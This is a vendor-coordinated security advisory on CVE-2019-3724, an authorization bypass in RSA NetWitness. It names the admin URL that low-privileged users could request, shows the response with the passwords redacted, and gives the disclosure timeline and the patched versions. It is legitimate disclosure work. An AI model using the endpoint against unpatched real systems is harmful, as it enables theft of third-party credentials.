Authorization Bypass in RSA NetWitness

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SEC Consult Vulnerability Lab Security Advisory < 20190515-0 >
=======================================================================
　　title: Authorization Bypass
　　product: RSA NetWitness
　　vulnerable version: <10.6.6.1, <11.2.1.1
　　fixed version: 10.6.6.1, 11.2.1.1
　　CVE number: CVE-2019-3724
　　impact: Medium
　　homepage: https://www.rsa.com
　　found: 2018-09-18
　　by: Mantas Juskauskas (Office Vilnius)
　　SEC Consult Vulnerability Lab

　　An integrated part of SEC Consult
　　Europe | Asia | North America

　　https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"RSA provides more than 30,000 customers around the world with the essential
security capabilities to protect their most valuable assets from cyber
threats. With RSA's award-winning products, organizations effectively detect,
investigate, and respond to advanced attacks; confirm and manage identities;
and ultimately, reduce IP theft, fraud, and cybercrime."

Source: https://www.rsa.com/en-us/company/about

Business recommendation:
------------------------
By exploiting the vulnerability documented in this advisory an unauthorized
attacker can access an administrative resource that may contain plain text
credentials to a 3rd party system.

The vendor provides a patch which should be installed on affected systems.

Vulnerability overview/description:
-----------------------------------
The authorization mechanism provided by the platform is prone to an authorization
bypass vulnerability, which can be easily exploited by authenticated (but low
privileged) remote attackers for gaining access to administrative information
including plaintext passwords.

Proof of concept:
-----------------
A logged-in low privileged user (e.g. with role Analyst) is able to access
an administrative resource by calling the following URL:

https://[host]/admin/system/whois/properties

After the above URL is accessed, the server returns the following HTTP response
that contains sensitive information to a 3rd party whois service including
plaintext passwords:

HTTP/1.1 200 OK
Server: nginx
Date: [snip]
Content-Type: application/json;charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: [snip]
Content-Length: 795

{"success":true,"data":{"queryUrl":"https://[snip]","authUrl":"https://[snip]","userId":"[snip]","pw":"[snip]","allowedRequests":100,"allowedRequestsInterval":60,"queueMaxSize":100000,"cacheMaxSize":50000,"refreshInterval":30,"waitForHttpRequests":true,"settings":{"query-url":"https://[snip]","queue-max-size":100000,"password":"[snip]","allowed-requests":100,"auth-url":"https://[snip]","user-id":"[snip]","refresh-interval-seconds":{"seconds":2592000,"milliSeconds":2592000000},"cache-max-size":50000,"wait-for-http-request":true,"allowed-requests-interval-seconds":{"seconds":60,"milliSeconds":60000}}}}

Vulnerable / tested versions:
-----------------------------
The identified vulnerability has been verified to exist in the
RSA NetWitness platform, version 11.1.0.1.

According to the vendor, platform version 10 is also affected.

The following versions are vulnerable:
* <10.6.6.1
* <11.2.1.1

Vendor contact timeline:
------------------------
2018-10-01: Contacting vendor through PGP via secure@dell.com
2018-10-02: Vendor acknowledges the information was received, forwards
            the info to the relevant department
2018-10-11: Vendor confirms the impact of the authorization issue,
            starts to work on the remediation timeline
2018-10-15: Vendor provides additional information
2018-10-22: Contacting vendor to provide the remediation timeline
2018-10-23: Further email exchange related to the remediation timeline
2019-01-18: Vendor provides an update on the fix timeline
2019-03-05: Asking for a status update
2019-03-06: Vendor provides a status update on the release, patch for
            platform version 11 will be released in March, version 10
            Mid-April
2019-04-01: Asking for a specific release date & further status update
2019-04-01: Vendor: release is scheduled for 23rd April 2019, but may change,
            they will inform us
2019-05-06: Asking for a status update; no answer
2019-05-09: Noticed that the new release is online fow a while now, asking
            the vendor for a status update again
2019-05-09: Vendor: published security advisory URL and CVE
2019-05-15: SEC Consult advisory release

Solution:
---------
The following patched versions address the identified issue:
* 11.2.1.1
* 10.6.6.1

Security advisory of the vendor: https://community.rsa.com/docs/DOC-104202

The vendor specifically told us that version 11.3 is not affected by this
vulnerability.

Workaround:
-----------
None

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

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EOF M. Juskauskas / @2019